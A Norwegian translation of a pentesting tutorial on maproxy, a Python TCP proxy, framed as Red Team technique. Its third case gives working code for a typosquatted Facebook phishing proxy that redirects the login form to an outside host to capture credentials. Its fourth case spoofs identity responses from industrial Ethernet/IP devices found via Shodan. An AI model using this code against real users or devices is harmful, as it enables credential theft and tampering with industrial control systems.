Behandling av nettverksdata i sanntid

Artikkelen er oversatt i forkant av oppstarten av kurset "Pentest. Praktisk testing av penetrering".

Behandling av nettverksdata i sanntid

Sammendrag

Ulike vurderingsmetoder for sikkerhet, fra regelmessig penetrasjonstesting og Red Team-operasjoner til hacking av IoT/ICS-enheter og SCADA, innebærer arbeid med binære nettverksprotokoller, det vil si, i hovedsak avlytting og modifisering av nettverksdata mellom klienten og målet. Sniffing av nettverkstrafikk er ikke en vanskelig oppgave, ettersom vi har verktøy som Wireshark, Tcpdump eller Scapy, men modifisering viser seg å være en mer tidkrevende oppgave, ettersom vi må ha et slags grensesnitt for å lese nettverksdata, filtrere dem, endre dem i sanntid og sende dem tilbake til målvert nesten i sanntid. I tillegg ville det vært ideelt om et slikt verktøy kunne arbeide automatisk med flere parallelle forbindelser og hadde tilpasningsmuligheter ved hjelp av skript.

En gang oppdaget jeg et verktøy som heter maproxy, dokumentasjonen ga meg raskt en forståelse av at maproxy – var akkurat det jeg trengte. Det er en ganske enkel, allsidig og lett konfigurerbar TCP-proxy. Jeg testet dette verktøyet på flere relativt komplekse applikasjoner, inkludert ICS-enheter (som genererer mange pakker), for å finne ut om det kan håndtere mange parallelle forbindelser, og verktøyet fungerte godt.

Denne artikkelen vil introdusere deg for behandling av nettverksdata i sanntid ved hjelp av maproxy.

Oversikt

Verktøy maproxy basert på Tornado – et populært og utviklet asynkront nettverksrammeverk i Python.

Generelt kan det kjøre i flere moduser:

  • TCP:TCP – ukrypterte TCP-forbindelser;
  • TCP:SSL og SSL:TCP – med enveis kryptering;
  • SSL:SSL – toveis kryptering.

Det leveres som et bibliotek. For rask oppstart kan du bruke eksempelfiler som viser grunnleggende biblioteksfunksjoner:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 – enkel toveis proxy

Basert på tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Som standard ProxyServer() tar imot to argumenter – tilkoblingssted og målport. server.listen() tar et argument – porten for å lytte etter inngående forbindelser.

Kjøring av skriptet:

# python tcp2tcp.py

For å utføre testen, vil vi koble til en lokal SSH-server gjennom vårt proxy-skript, som lytter på 2222/tcp porten og kobler til standardporten 22/tcp SSH-servere:

Behandling av nettverksdata i sanntid

Velkomstbanneret informerer om at vårt eksempel-skript har lykkes i å proxy nettverkstrafikken.

Case 2 – datamodifikasjon

Et annet demo-skript logging_proxy.py er ideelt for å håndtere nettverksdata. Kommentarene i filen beskriver klassens metoder som du kan modifisere for å oppnå ditt mål:

Behandling av nettverksdata i sanntid

Det mest interessante her:

  • on_c2p_done_read – for å fange data på vei fra klient til server;
  • on_p2s_done_read – i motsatt retning.

La oss prøve å endre SSH-banneret som serveren returnerer til klienten:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Kjør skriptet:

Behandling av nettverksdata i sanntid

Som du ser, ble klienten lurt, ettersom navnet på SSH-serveren ble endret til «DumnySSH».

Behandling av nettverksdata i sanntid

Case 3 – enkel phishing nettside

Det finnes uendelig mange bruksområder for dette verktøyet. Denne gangen la oss fokusere på noe mer praktisk innen Red Team-operasjoner. La oss etterligne landingssiden m.facebook.com og bruke et tilpasset domenenavn med en bevisst feilstaving, for eksempel, m.facebok.com. For demonstrasjonens formål, la oss bare anta at domenet er registrert av oss.

Vi skal opprette en ukryptert nettverkstilkobling med vår proxy av ofrene og SSL Stream for Facebook-serveren (31.13.81.36). For at dette eksempelet skal fungere, må vi bytte ut HTTP-vertsoverskriften og injisere det riktige vertsnavnet, og vi vil også deaktivere kompresjon av svarene for å få enkel tilgang til innholdet. Til slutt skal vi endre HTML-skjemaet slik at påloggingsinformasjonen sendes til oss, i stedet for til Facebook-serverne:

[…]
def on_c2p_done_read(self,data):
 # bytt ut Host-overskriften
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# deaktiver kompresjon
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # delvis erstatning av responsen
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Til slutt:

Behandling av nettverksdata i sanntid

Som du ser, har vi lykkes i å endre det originale nettstedet.

Case 4 – Modifiserer Ethernet/IP

Jeg har hatt med industrielle enheter og programvare (ICS / SCADA) å gjøre i ganske lang tid, som programmerbare kontroller (PLC), I/O-moduler, drivere, reléer, programmeringsmiljøer og mye mer. Denne casen er for de som liker industrielle ting. Å hacke slike løsninger innebærer en aktiv tilnærming til nettverksprotokoller. I det følgende eksempelet vil jeg vise hvordan du kan modifisere nettverkstrafikken til ICS/SCADA.

For dette trenger du følgende:

  • En nettverks-sniffer, som Wireshark;
  • Ethernet/IP eller bare SIP-enhet, du kan finne det ved hjelp av Shodan-tjenesten;
  • Vårt skript er basert på maproxy.

La oss begynne med å se på hvordan et typisk identifikasjonsrespons fra CIP (Common Industrial Protocol) ser ut:

Behandling av nettverksdata i sanntid

Enhetsidentifikasjonen skjer via Ethernet/IP-protokollen, som er en utvidet versjon av Ethernet-protokollen for industrielle formål; den pakker inn styringsprotokoller som CIP. Vi skal endre det tildelte identifikasjonsnavnet, som er synlig på skjermbildet. «NI-IndComm for Ethernet» med vårt proxy-skript. Vi kan gjenbruke skriptet logging_proxy.py og på samme måte modifisere klassemetoden on_p2s_done_read, siden vi vil at kundens enhet skal se et annet identifikasjonsnavn.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # delvis erstatning av respons

 # Sjekker om vi fikk List Identity-meldingsrespons
     if data[26:28] == b'x0cx00':
         print('Fikk respons, erstatter')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…] 
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

I bunn og grunn har vi bedt om enhetsidentifikasjon to ganger; det andre svaret er originalen, mens det første ble modifisert i sanntid.

Og til slutt

etter mitt syn maproxy er et praktisk og enkelt verktøy, som dessuten er skrevet i Python, så jeg mener at dere også kan dra nytte av å bruke det. Selvfølgelig finnes det mer avanserte verktøy for bearbeiding og endring av nettverksdata, men de krever også mer oppmerksomhet og lages vanligvis for spesifikke bruksområder, som Muraena, Modlishka eller evilginx for saker som ligner på den tredje, eller canape for den siste saken. Uansett, ved hjelp av maproxy vil du kunne raskt implementere ideene dine for å fange nettverksdata, ettersom skripteksemplene er veldig illustrative.

Testing Authentication Mechanisms in Windows AD

Kilde: habr.com

Kjøp pålitelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere 🔥 Kjøp pålitelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere | ProHoster